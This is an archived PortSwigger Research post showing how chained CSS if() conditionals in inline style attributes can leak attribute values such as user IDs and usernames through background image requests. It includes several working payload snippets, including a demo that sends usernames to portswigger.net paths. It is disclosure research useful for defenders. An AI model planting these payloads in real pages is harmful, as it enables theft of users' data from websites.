

Inline Style Exfiltration: leaking data with chained CSS conditionals

Inline Style Exfiltration: leaking data with chained CSS conditionals - Author not stated, PortSwigger Research.

- Published: 2025-08-26
- Original: <<https://portswigger.net/research/inline-style-exfiltration>>
- Preserved from: <https://portswigger.net/research/inline-style-exfiltration> (live) on 2026-08-08
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Inline Style Exfiltration: leaking data with chained CSS conditionals | PortSwigger Research

Inline Style Exfiltration: leaking data with chained CSS conditionals

[image: Gareth Heyes]

Gareth Heyes

Researcher

@garethheyas

-

Published: **Tuesday, 26 August 2025 at 12:54 UTC**

-

Updated: **Wednesday, 27 August 2025 at 07:35 UTC**

-

[image: image]

I discovered how to use CSS to steal attribute data without selectors and stylesheet imports! This means you can now exploit CSS injection via style attributes! Learn how below:

Someone asked if you could steal data using inline styles. I initially dismissed the idea but then I was reminded of [Slonser's](#) excellent technique of using the attr() and image-set() functions to steal data from the attribute. This method can steal an entire attribute provided you import a style sheet from your chosen domain. But this left me pondering what about without importing a stylesheet? Can you steal data just using inline styles?

CSS introduced [if statements](#), that's right this (not a) programming language now has conditionals. I was sure I could use this as a way to check the attribute value and make a background request to any domain I like without requiring a stylesheet import. I began crafting a vector:

```
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```

But it didn't work. Then Slonser sent a snippet that did work and it turned out the if statement comparison requires double not single quotes:

```
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```

How quirky is CSS! I'm used to single and double quotes being interchangeable like JavaScript. So now we could make a request to an arbitrary domain using a background request and inline styles. The problem here is that you can only check one value but of course this (not a) programming language supports nested if statements! So you can chain them together and check for multiple values. This allows you to steal non-complex data such as user ids or usernames:

```
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```

In the preceding example it can steal the data-uid attribute if it contains a value in the range of 1-10. So if you ever find yourself locked in a style attribute and need to steal the data of an attribute you can use our Custom Action in Burp Suite to brute force the required values! Note at the time of writing this technique only works on Chromium based browsers.

Here's a video demonstrating stealing usernames from the data-username attribute using a [Burp Custom Action](#):

[[image: A demonstration of using a Custom Action to generate some HTML that can be used to steal data with inline styles.](#)]

Here is the code used in the video:

```
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://portswigger.net/martin); else: if(style(--val:"zak"): url(https://portswigger.net/zak); else: url(https://portswigger.net/james)); background: image-set(var(--steal));' data-username="james"></div>
```

[Proof of concept](#)

Update...

[Luke Jahnke](#) pointed out you can make a background request without the url() syntax. A plain string will do. This means the vector can be reduced to:

```
<div style='--val:attr(title);--steal:if(style(--val:"1"): "/1"; else: "/2");background:image-set(var(--steal))' title=1>test</div>
```

[CSS CSS injection Exfiltration](#)

[Back to all articles](#)

Related Research

Archived from <https://portswigger.net/research/inline-style-exfiltration>. Rendered offline from the local Markdown copy.